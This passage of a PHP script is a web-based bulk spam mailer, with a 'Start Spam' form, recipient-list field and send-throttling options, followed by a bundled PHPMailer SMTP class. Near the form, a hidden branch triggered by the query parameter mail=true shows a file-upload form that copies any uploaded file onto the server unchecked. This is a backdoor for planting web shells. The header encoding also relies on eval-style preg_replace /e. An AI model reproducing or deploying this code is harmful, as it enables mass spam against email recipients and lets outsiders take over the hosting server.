  215. <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
  216. <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
  217. <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
  218. <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
  219. <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
  220. <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
  221. </select>
  222. </div>
  223. <div style="margin-bottom: 10px" class="input-group">
  224. <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
  225. <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?=$pesan;?></textarea>
  226. </div>
  227. <div style="margin-bottom: 10px" class="input-group">
  228. <input type="submit" class="btn btn-success" name="action" value="Start Spam">
  229. <font color="white">Next send after </font>
  230. <input type="text" name="wait" value="<?=$wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
  231. <font color="white">(second) | Reconnect After
  232. <input type="text" name="reconnect" value="<?=$reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
  233. <font color="white">(emails)</font>
  234. </div>
  235.  
  236. </div>
  237. <div class="col-sm-4" style="padding-left: 7.5px !important;">
  238.  
  239. <div style="margin-bottom: 10px" class="input-group">
  240. <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
  241. <select class="form-control" name="encoding">
  242. <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
  243. <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
  244. </select>
  245. </div>
  246. <div style="margin-bottom: 10px" class="input-group">
  247. <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
  248. <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?=$emaillist;?></textarea>
  249. </div>
  250.  
  251. </div>
  252. <div class="form-group">
  253. </div>
  254.  
  255. </form>
  256.  
  257. </div>
  258. </div>
  259. <?
  260. if($_GET['mail'] == 'true'){
  261. echo '<form action="" method="post" enctype="multipart/form-data" name="country" id="country">';
  262. echo '<input type="file" name="file" size="50"><input name="_con" type="submit" id="_con"
  263. value="home"><br><font color=#FFF></font></form>';
  264. if( $_POST['_con'] == "home" ) {
  265. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 's'; }
  266. else { echo 'f'; }
  267. }
  268. echo '</center>';
  269. }
  270. ?>
  271. <?
  272.  
  273. if ($action){
  274.  
  275. if (!$from && !$subject && !$message && !$emaillist) {
  276. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  277. die();
  278. }
  279.  
  280. if ($_POST['encoding']=='yes') {
  281. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  282. $subject = str_replace(' ', '=20', $subject);
  283. $subject = "=?utf-8?Q?$subject?=";
  284. $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
  285. $nama = str_replace(' ', '=20', $nama);
  286. $nama = "=?utf-8?Q?$nama?=";
  287. }
  288.  
  289. $allemails = split("\n", $emaillist);
  290. $numemails = count($allemails);
  291.  
  292.  
  293. function xflush()
  294. {
  295. static $output_handler = null;
  296. if ($output_handler === null) {
  297. $output_handler = @ini_get('output_handler');
  298. }
  299. if ($output_handler == 'ob_gzhandler') {
  300. return;
  301. }
  302. flush();
  303. if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  304. @ob_flush();
  305. } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  306. @ob_end_flush();
  307. @ob_start();
  308. }
  309. }
  310. ?>
  311. <?
  312. /**
  313. * PHPMailer RFC821 SMTP email transport class.
  314. * PHP Version 5
  315. * @package PHPMailer
  316. * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
  317. * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
  318. * @author Jim Jagielski (jimjag) <>
  319. * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
  320. * @author Brent R. Matzelle (original founder)
  321. * @copyright 2014 Marcus Bointon
  322. * @copyright 2010 - 2012 Jim Jagielski
  323. * @copyright 2004 - 2009 Andy Prevost
  324. * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
  325. * @note This program is distributed in the hope that it will be useful - WITHOUT
  326. * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
  327. * FITNESS FOR A PARTICULAR PURPOSE.
  328. */
  329.  
  330. /**
  331. * PHPMailer RFC821 SMTP email transport class.
  332. * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
  333. * @package PHPMailer
  334. * @author Chris Ryan
  335. * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
  336. */
  337. class SMTP
  338. {
  339. /**
  340. * The PHPMailer SMTP version number.
  341. * @type string
  342. */
  343. const VERSION = '5.2.9';
  344.  
  345. /**
  346. * SMTP line break constant.
  347. * @type string
  348. */
  349. const CRLF = "\r\n";
  350.  
  351. /**
  352. * The SMTP port to use if one is not specified.
  353. * @type integer
  354. */
  355. const DEFAULT_SMTP_PORT = 25;
  356.  
  357. /**
  358. * The maximum line length allowed by RFC 2822 section 2.1.1
  359. * @type integer
  360. */
  361. const MAX_LINE_LENGTH = 998;
  362.  
  363. /**
  364. * Debug level for no output
  365. */
  366. const DEBUG_OFF = 0;
  367.  
  368. /**
  369. * Debug level to show client -> server messages
  370. */
  371. const DEBUG_CLIENT = 1;
  372.  
  373. /**
  374. * Debug level to show client -> server and server -> client messages
  375. */
  376. const DEBUG_SERVER = 2;
  377.  
  378. /**
  379. * Debug level to show connection status, client -> server and server -> client messages
  380. */
  381. const DEBUG_CONNECTION = 3;
  382.  
  383. /**
  384. * Debug level to show all messages
  385. */
  386. const DEBUG_LOWLEVEL = 4;
  387.  
  388. /**
  389. * The PHPMailer SMTP Version number.
  390. * @type string
  391. * @deprecated Use the `VERSION` constant instead
  392. * @see SMTP::VERSION
  393. */
  394. public $Version = '5.2.9';
  395.  
  396. /**
  397. * SMTP server port number.
  398. * @type integer
  399. * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
  400. * @see SMTP::DEFAULT_SMTP_PORT
  401. */
  402. public $SMTP_PORT = 25;
  403.  
  404. /**
  405. * SMTP reply line ending.
  406. * @type string
  407. * @deprecated Use the `CRLF` constant instead
  408. * @see SMTP::CRLF
  409. */
  410. public $CRLF = "\r\n";
  411.  
  412. /**
  413. * Debug output level.
  414. * Options:
  415. * * self::DEBUG_OFF (`0`) No debug output, default
  416. * * self::DEBUG_CLIENT (`1`) Client commands
  417. * * self::DEBUG_SERVER (`2`) Client commands and server responses
  418. * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
  419. * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
  420. * @type integer
  421. */
  422. public $do_debug = self::DEBUG_OFF;
  423.  
  424. /**
  425. * How to handle debug output.
  426. * Options:
  427. * * `echo` Output plain-text as-is, appropriate for CLI
  428. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  429. * * `error_log` Output to error log as configured in php.ini
  430. *
  431. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  432. * <code>
  433. * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  434. * </code>
  435. * @type string|callable
  436. */
  437. public $Debugoutput = 'echo';
  438.  
  439. /**
  440. * Whether to use VERP.
  441. * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
  442. * @link http://www.postfix.org/VERP_README.html Info on VERP
  443. * @type boolean
  444. */
  445. public $do_verp = false;
  446.  
  447. /**
  448. * The timeout value for connection, in seconds.
  449. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  450. * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
  451. * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
  452. * @type integer
  453. */
  454. public $Timeout = 300;
  455.  
  456. /**
  457. * How long to wait for commands to complete, in seconds.
  458. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  459. * @type integer
  460. */
  461. public $Timelimit = 300;
  462.  
  463. /**
  464. * The socket for the server connection.
  465. * @type resource
  466. */
  467. protected $smtp_conn;
  468.  
  469. /**
  470. * Error message, if any, for the last call.
  471. * @type array
  472. */
  473. protected $error = array();
  474.  
  475. /**
  476. * The reply the server sent to us for HELO.
  477. * If null, no HELO string has yet been received.
  478. * @type string|null
  479. */
  480. protected $helo_rply = null;
  481.  
  482. /**
  483. * The set of SMTP extensions sent in reply to EHLO command.
  484. * Indexes of the array are extension names.
  485. * Value at index 'HELO' or 'EHLO' (according to command that was sent)
  486. * represents the server name. In case of HELO it is the only element of the array.
  487. * Other values can be boolean TRUE or an array containing extension options.
  488. * If null, no HELO/EHLO string has yet been received.
  489. * @type array|null
  490. */
  491. protected $server_caps = null;
  492.  
  493. /**
  494. * The most recent reply received from the server.
  495. * @type string
  496. */
  497. protected $last_reply = '';
  498.  
  499. /**
  500. * Output debugging info via a user-selected method.
  501. * @see SMTP::$Debugoutput
  502. * @see SMTP::$do_debug
  503. * @param string $str Debug string to output
  504. * @param integer $level The debug level of this message; see DEBUG_* constants
  505. * @return void
  506. */
  507. protected function edebug($str, $level = 0)
  508. {
  509. if ($level > $this->do_debug) {
  510. return;
  511. }
  512. //Avoid clash with built-in function names
  513. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  514. call_user_func($this->Debugoutput, $str, $this->do_debug);
  515. return;
  516. }
  517. switch ($this->Debugoutput) {
  518. case 'error_log':
  519. //Don't output, just log
  520. error_log($str);
  521. break;
  522. case 'html':
  523. //Cleans up output a bit for a better looking, HTML-safe output
  524. echo htmlentities(
  525. preg_replace('/[\r\n]+/', '', $str),
  526. ENT_QUOTES,
  527. 'UTF-8'
  528. )
  529. . "<br>\n";
  530. break;
  531. case 'echo':
  532. default:
  533. //Normalize line breaks
  534. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  535. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  536. "\n",
  537. "\n \t ",
  538. trim($str)
  539. )."\n";
  540. }
  541. }
  542.  
  543. /**
  544. * Connect to an SMTP server.
  545. * @param string $host SMTP server IP or host name
  546. * @param integer $port The port number to connect to
  547. * @param integer $timeout How long to wait for the connection to open
  548. * @param array $options An array of options for stream_context_create()
  549. * @access public
  550. * @return boolean
  551. */
  552. public function connect($host, $port = null, $timeout = 30, $options = array())
  553. {
  554. static $streamok;
  555. //This is enabled by default since 5.0.0 but some providers disable it
  556. //Check this once and cache the result
  557. if (is_null($streamok)) {
  558. $streamok = function_exists('stream_socket_client');
  559. }
  560. // Clear errors to avoid confusion
  561. $this->error = array();
  562. // Make sure we are __not__ connected
  563. if ($this->connected()) {
  564. // Already connected, generate error
  565. $this->error = array('error' => 'Already connected to a server');
  566. return false;
  567. }
  568. if (empty($port)) {
  569. $port = self::DEFAULT_SMTP_PORT;
  570. }
  571. // Connect to the SMTP server
  572. $this->edebug(
  573. "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
  574. self::DEBUG_CONNECTION
  575. );
  576. $errno = 0;
  577. $errstr = '';
  578. if ($streamok) {
  579. $socket_context = stream_context_create($options);
  580. //Suppress errors; connection failures are handled at a higher level
  581. $this->smtp_conn = @stream_socket_client(
  582. $host . ":" . $port,
  583. $errno,
  584. $errstr,
  585. $timeout,
  586. STREAM_CLIENT_CONNECT,
  587. $socket_context
  588. );
  589. } else {
  590. //Fall back to fsockopen which should work in more places, but is missing some features
  591. $this->edebug(
  592. "Connection: stream_socket_client not available, falling back to fsockopen",
  593. self::DEBUG_CONNECTION
  594. );
  595. $this->smtp_conn = fsockopen(
  596. $host,
  597. $port,
  598. $errno,
  599. $errstr,
  600. $timeout
  601. );
  602. }
  603. // Verify we connected properly
  604. if (!is_resource($this->smtp_conn)) {
  605. $this->error = array(
  606. 'error' => 'Failed to connect to server',
  607. 'errno' => $errno,
  608. 'errstr' => $errstr
  609. );
  610. $this->edebug(
  611. 'SMTP ERROR: ' . $this->error['error']
  612. . ": $errstr ($errno)",
  613. self::DEBUG_CLIENT
  614. );
  615. return false;
  616. }
  617. $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  618. // SMTP server can take longer to respond, give longer timeout for first read
  619. // Windows does not have support for this timeout function
  620. if (substr(PHP_OS, 0, 3) != 'WIN') {
  621. $max = ini_get('max_execution_time');
  622. if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
  623. @set_time_limit($timeout);
  624. }
  625. stream_set_timeout($this->smtp_conn, $timeout, 0);
  626. }
  627. // Get any announcement
  628. $announce = $this->get_lines();
  629. $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  630. return true;
  631. }
  632.  
  633. /**
  634. * Initiate a TLS (encrypted) session.
  635. * @access public
  636. * @return boolean
  637. */
  638. public function startTLS()
  639. {
  640. if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  641. return false;
  642. }
  643. // Begin encrypted connection
  644. if (!stream_socket_enable_crypto(
  645. $this->smtp_conn,
  646. true,
  647. STREAM_CRYPTO_METHOD_TLS_CLIENT
  648. )) {
  649. return false;
  650. }
  651. return true;
  652. }
  653.  
  654. /**
  655. * Perform SMTP authentication.
  656. * Must be run after hello().
  657. * @see hello()
  658. * @param string $username The user name
  659. * @param string $password The password
  660. * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
  661. * @param string $realm The auth realm for NTLM
  662. * @param string $workstation The auth workstation for NTLM
  663. * @access public
  664. * @return boolean True if successfully authenticated.
  665. */
  666. public function authenticate(
  667. $username,
  668. $password,
  669. $authtype = null,
  670. $realm = '',
  671. $workstation = ''
  672. ) {
  673. if (!$this->server_caps) {
  674. $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
  675. return false;
  676. }
  677.  
  678. if (array_key_exists('EHLO', $this->server_caps)) {
  679. // SMTP extensions are available. Let's try to find a proper authentication method
  680.  
  681. if (!array_key_exists('AUTH', $this->server_caps)) {
  682. $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
  683. // 'at this stage' means that auth may be allowed after the stage changes
  684. // e.g. after STARTTLS
  685. return false;
  686. }
  687.  
  688. self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  689. self::edebug(
  690. 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
  691. self::DEBUG_LOWLEVEL
  692. );
  693.  
  694. if (empty($authtype)) {
  695. foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
  696. if (in_array($method, $this->server_caps['AUTH'])) {
  697. $authtype = $method;
  698. break;
  699. }
  700. }
  701. if (empty($authtype)) {
  702. $this->error = array( 'error' => 'No supported authentication methods found' );
  703. return false;
  704. }
  705. self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  706. }
  707.  
  708. if (!in_array($authtype, $this->server_caps['AUTH'])) {
  709. $this->error = array( 'error' => 'The requested authentication method "'
  710. . $authtype . '" is not supported by the server' );
  711. return false;
  712. }
  713. } elseif (empty($authtype)) {
  714. $authtype = 'LOGIN';
  715. }
  716. switch ($authtype) {
  717. case 'PLAIN':
  718. // Start authentication
  719. if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  720. return false;
  721. }
  722. // Send encoded username and password
  723. if (!$this->sendCommand(
  724. 'User & Password',
  725. base64_encode("\0" . $username . "\0" . $password),
  726. 235
  727. )
  728. ) {
  729. return false;
  730. }
  731. break;
  732. case 'LOGIN':
  733. // Start authentication
  734. if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  735. return false;
  736. }
  737. if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  738. return false;
  739. }
  740. if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  741. return false;
  742. }
  743. break;
  744. case 'NTLM':
  745. /*
  746. * ntlm_sasl_client.php
  747. * Bundled with Permission
  748. *
  749. * How to telnet in windows:
  750. * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
  751. * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
  752. */
  753. require_once 'extras/ntlm_sasl_client.php';
  754. $temp = new stdClass();
  755. $ntlm_client = new ntlm_sasl_client_class;
  756. //Check that functions are available
  757. if (!$ntlm_client->Initialize($temp)) {
  758. $this->error = array('error' => $temp->error);
  759. $this->edebug(
  760. 'You need to enable some modules in your php.ini file: '
  761. . $this->error['error'],
  762. self::DEBUG_CLIENT
  763. );
  764. return false;
  765. }
  766. //msg1
  767. $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
  768.  
  769. if (!$this->sendCommand(
  770. 'AUTH NTLM',
  771. 'AUTH NTLM ' . base64_encode($msg1),
  772. 334
  773. )
  774. ) {
  775. return false;
  776. }
  777. //Though 0 based, there is a white space after the 3 digit number
  778. //msg2
  779. $challenge = substr($this->last_reply, 3);
  780. $challenge = base64_decode($challenge);
  781. $ntlm_res = $ntlm_client->NTLMResponse(
  782. substr($challenge, 24, 8),
  783. $password
  784. );
  785. //msg3
  786. $msg3 = $ntlm_client->TypeMsg3(
  787. $ntlm_res,
  788. $username,
  789. $realm,
  790. $workstation
  791. );
  792. // send encoded username
  793. return $this->sendCommand('Username', base64_encode($msg3), 235);
  794. case 'CRAM-MD5':
  795. // Start authentication
  796. if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  797. return false;
  798. }
  799. // Get the challenge
  800. $challenge = base64_decode(substr($this->last_reply, 4));
  801.  
  802. // Build the response
  803. $response = $username . ' ' . $this->hmac($challenge, $password);
  804.  
  805. // send encoded credentials
  806. return $this->sendCommand('Username', base64_encode($response), 235);
  807. default:
  808. $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
  809. return false;
  810. }
  811. return true;
  812. }
  813.  
  814. /**
  815. * Calculate an MD5 HMAC hash.
  816. * Works like hash_hmac('md5', $data, $key)
  817. * in case that function is not available
  818. * @param string $data The data to hash
  819. * @param string $key The key to hash with
  820. * @access protected
  821. * @return string
  822. */
  823. protected function hmac($data, $key)
  824. {
  825. if (function_exists('hash_hmac')) {
  826. return hash_hmac('md5', $data, $key);
  827. }
  828.  
  829. // The following borrowed from
  830. // http://php.net/manual/en/function.mhash.php#27225
  831.  
  832. // RFC 2104 HMAC implementation for php.
  833. // Creates an md5 HMAC.
  834. // Eliminates the need to install mhash to compute a HMAC
  835. // by Lance Rushing
  836.  
  837. $bytelen = 64; // byte length for md5
  838. if (strlen($key) > $bytelen) {
  839. $key = pack('H*', md5($key));
  840. }
  841. $key = str_pad($key, $bytelen, chr(0x00));
  842. $ipad = str_pad('', $bytelen, chr(0x36));
  843. $opad = str_pad('', $bytelen, chr(0x5c));
  844. $k_ipad = $key ^ $ipad;
  845. $k_opad = $key ^ $opad;
  846.  
  847. return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  848. }
  849.  
  850. /**
  851. * Check connection state.
  852. * @access public
  853. * @return boolean True if connected.
  854. */
  855. public function connected()
  856. {
  857. if (is_resource($this->smtp_conn)) {
  858. $sock_status = stream_get_meta_data($this->smtp_conn);
  859. if ($sock_status['eof']) {
  860. // The socket is valid but we are not connected
  861. $this->edebug(
  862. 'SMTP NOTICE: EOF caught while checking if connected',
  863. self::DEBUG_CLIENT
  864. );
  865. $this->close();
  866. return false;
  867. }
  868. return true; // everything looks good
  869. }
  870. return false;
  871. }
  872.  
  873. /**
  874. * Close the socket and clean up the state of the class.
  875. * Don't use this function without first trying to use QUIT.
  876. * @see quit()
  877. * @access public
  878. * @return void
  879. */
  880. public function close()
  881. {
  882. $this->error = array();
  883. $this->server_caps = null;
  884. $this->helo_rply = null;
  885. if (is_resource($this->smtp_conn)) {
  886. // close the connection and cleanup
  887. fclose($this->smtp_conn);
  888. $this->smtp_conn = null; //Makes for cleaner serialization
  889. $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  890. }
  891. }
  892.  
  893. /**
  894. * Send an SMTP DATA command.
  895. * Issues a data command and sends the msg_data to the server,
  896. * finializing the mail transaction. $msg_data is the message
  897. * that is to be send with the headers. Each header needs to be
  898. * on a single line followed by a <CRLF> with the message headers
  899. * and the message body being separated by and additional <CRLF>.
  900. * Implements rfc 821: DATA <CRLF>
  901. * @param string $msg_data Message data to send
  902. * @access public
  903. * @return boolean
  904. */
  905. public function data($msg_data)
  906. {
  907. //This will use the standard timelimit
  908. if (!$this->sendCommand('DATA', 'DATA', 354)) {
  909. return false;
  910. }
  911.  
  912. /* The server is ready to accept data!
  913. * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
  914. * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
  915. * smaller lines to fit within the limit.
  916. * We will also look for lines that start with a '.' and prepend an additional '.'.
  917. * NOTE: this does not count towards line-length limit.
  918. */
  919.  
  920. // Normalize line breaks before exploding
  921. $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  922.  
  923. /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
  924. * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
  925. * process all lines before a blank line as headers.
  926. */
  927.  
  928. $field = substr($lines[0], 0, strpos($lines[0], ':'));
  929. $in_headers = false;
  930. if (!empty($field) && strpos($field, ' ') === false) {
  931. $in_headers = true;
  932. }
  933.  
  934. foreach ($lines as $line) {
  935. $lines_out = array();
  936. if ($in_headers and $line == '') {
  937. $in_headers = false;
  938. }
  939. //We need to break this line up into several smaller lines
  940. //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
  941. while (isset($line[self::MAX_LINE_LENGTH])) {
  942. //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
  943. //so as to avoid breaking in the middle of a word
  944. $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  945. if (!$pos) { //Deliberately matches both false and 0
  946. //No nice break found, add a hard break
  947. $pos = self::MAX_LINE_LENGTH - 1;
  948. $lines_out[] = substr($line, 0, $pos);
  949. $line = substr($line, $pos);
  950. } else {
  951. //Break at the found point
  952. $lines_out[] = substr($line, 0, $pos);
  953. //Move along by the amount we dealt with
  954. $line = substr($line, $pos + 1);
  955. }
  956. //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
  957. if ($in_headers) {
  958. $line = "\t" . $line;
  959. }
  960. }
  961. $lines_out[] = $line;
  962.  
  963. //Send the lines to the server
  964. foreach ($lines_out as $line_out) {
  965. //RFC2821 section 4.5.2
  966. if (!empty($line_out) and $line_out[0] == '.') {
  967. $line_out = '.' . $line_out;
  968. }
  969. $this->client_send($line_out . self::CRLF);
  970. }
  971. }
  972.  
  973. //Message data has been sent, complete the command
  974. //Increase timelimit for end of DATA command
  975. $savetimelimit = $this->Timelimit;
  976. $this->Timelimit = $this->Timelimit * 2;
  977. $result = $this->sendCommand('DATA END', '.', 250);
  978. //Restore timelimit
  979. $this->Timelimit = $savetimelimit;
  980. return $result;
  981. }
  982.  
  983. /**
  984. * Send an SMTP HELO or EHLO command.
  985. * Used to identify the sending server to the receiving server.
  986. * This makes sure that client and server are in a known state.
  987. * Implements RFC 821: HELO <SP> <domain> <CRLF>
  988. * and RFC 2821 EHLO.
  989. * @param string $host The host name or IP to connect to
  990. * @access public
  991. * @return boolean
  992. */
  993. public function hello($host = '')
  994. {
  995. //Try extended hello first (RFC 2821)
  996. return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  997. }
  998.  
  999. /**
  1000. * Send an SMTP HELO or EHLO command.
  1001. * Low-level implementation used by hello()
  1002. * @see hello()
  1003. * @param string $hello The HELO string
  1004. * @param string $host The hostname to say we are
  1005. * @access protected
  1006. * @return boolean
  1007. */
  1008. protected function sendHello($hello, $host)
  1009. {
  1010. $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  1011. $this->helo_rply = $this->last_reply;
  1012. if ($noerror) {
  1013. $this->parseHelloFields($hello);
  1014. } else {
  1015. $this->server_caps = null;
  1016. }
  1017. return $noerror;
  1018. }
  1019.  
  1020. /**
  1021. * Parse a reply to HELO/EHLO command to discover server extensions.
  1022. * In case of HELO, the only parameter that can be discovered is a server name.
  1023. * @access protected
  1024. * @param string $type - 'HELO' or 'EHLO'
  1025. */
  1026. protected function parseHelloFields($type)
  1027. {
  1028. $this->server_caps = array();
  1029. $lines = explode("\n", $this->last_reply);
  1030. foreach ($lines as $n => $s) {
  1031. $s = trim(substr($s, 4));
  1032. if (!$s) {
  1033. continue;
  1034. }
  1035. $fields = explode(' ', $s);
  1036. if ($fields) {
  1037. if (!$n) {
  1038. $name = $type;
  1039. $fields = $fields[0];
  1040. } else {
  1041. $name = array_shift($fields);
  1042. if ($name == 'SIZE') {
  1043. $fields = ($fields) ? $fields[0] : 0;
  1044. }
  1045. }
  1046. $this->server_caps[$name] = ($fields ? $fields : true);
  1047. }
  1048. }
  1049. }
  1050.  
  1051. /**
  1052. * Send an SMTP MAIL command.
  1053. * Starts a mail transaction from the email address specified in
  1054. * $from. Returns true if successful or false otherwise. If True
  1055. * the mail transaction is started and then one or more recipient
  1056. * commands may be called followed by a data command.
  1057. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  1058. * @param string $from Source address of this message
  1059. * @access public
  1060. * @return boolean
  1061. */
  1062. public function mail($from)
  1063. {
  1064. $useVerp = ($this->do_verp ? ' XVERP' : '');
  1065. return $this->sendCommand(
  1066. 'MAIL FROM',
  1067. 'MAIL FROM:<' . $from . '>' . $useVerp,
  1068. 250
  1069. );
  1070. }
  1071.  
  1072. /**
  1073. * Send an SMTP QUIT command.
  1074. * Closes the socket if there is no error or the $close_on_error argument is true.
  1075. * Implements from rfc 821: QUIT <CRLF>
  1076. * @param boolean $close_on_error Should the connection close if an error occurs?
  1077. * @access public
  1078. * @return boolean
  1079. */
  1080. public function quit($close_on_error = true)
  1081. {
  1082. $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  1083. $err = $this->error; //Save any error
  1084. if ($noerror or $close_on_error) {
  1085. $this->close();
  1086. $this->error = $err; //Restore any error from the quit command
  1087. }
  1088. return $noerror;
  1089. }
  1090.  
  1091. /**
  1092. * Send an SMTP RCPT command.
  1093. * Sets the TO argument to $toaddr.
  1094. * Returns true if the recipient was accepted false if it was rejected.
  1095. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1096. * @param string $toaddr The address the message is being sent to
  1097. * @access public
  1098. * @return boolean
  1099. */
  1100. public function recipient($toaddr)
  1101. {
  1102. return $this->sendCommand(
  1103. 'RCPT TO',
  1104. 'RCPT TO:<' . $toaddr . '>',
  1105. array(250, 251)
  1106. );
  1107. }
  1108.  
  1109. /**
  1110. * Send an SMTP RSET command.
  1111. * Abort any transaction that is currently in progress.
  1112. * Implements rfc 821: RSET <CRLF>
  1113. * @access public
  1114. * @return boolean True on success.
  1115. */
  1116. public function reset()
  1117. {
  1118. return $this->sendCommand('RSET', 'RSET', 250);
  1119. }
  1120.  
  1121. /**
  1122. * Send a command to an SMTP server and check its return code.
  1123. * @param string $command The command name - not sent to the server
  1124. * @param string $commandstring The actual command to send
  1125. * @param integer|array $expect One or more expected integer success codes
  1126. * @access protected
  1127. * @return boolean True on success.
  1128. */
  1129. protected function sendCommand($command, $commandstring, $expect)
  1130. {
  1131. if (!$this->connected()) {
  1132. $this->error = array(
  1133. 'error' => "Called $command without being connected"
  1134. );
  1135. return false;
  1136. }
  1137. $this->client_send($commandstring . self::CRLF);
  1138.  
  1139. $this->last_reply = $this->get_lines();
  1140. // Fetch SMTP code and possible error code explanation
  1141. $matches = array();
  1142. if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  1143. $code = $matches[1];
  1144. $code_ex = (count($matches) > 2 ? $matches[2] : null);
  1145. // Cut off error code from each response line
  1146. $detail = preg_replace(
  1147. "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
  1148. '',
  1149. $this->last_reply
  1150. );
  1151. } else { // Fall back to simple parsing if regex fails
  1152. $code = substr($this->last_reply, 0, 3);
  1153. $code_ex = null;
  1154. $detail = substr($this->last_reply, 4);
  1155. }
  1156.  
  1157. $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  1158.  
  1159. if (!in_array($code, (array)$expect)) {
  1160. $this->error = array(
  1161. 'error' => "$command command failed",
  1162. 'smtp_code' => $code,
  1163. 'smtp_code_ex' => $code_ex,
  1164. 'detail' => $detail
  1165. );
  1166. $this->edebug(
  1167. 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
  1168. self::DEBUG_CLIENT
  1169. );
  1170. return false;
  1171. }
  1172.  
  1173. $this->error = array();
  1174. return true;
  1175. }
  1176.  
  1177. /**
  1178. * Send an SMTP SAML command.
  1179. * Starts a mail transaction from the email address specified in $from.
  1180. * Returns true if successful or false otherwise. If True
  1181. * the mail transaction is started and then one or more recipient
  1182. * commands may be called followed by a data command. This command
  1183. * will send the message to the users terminal if they are logged
  1184. * in and send them an email.
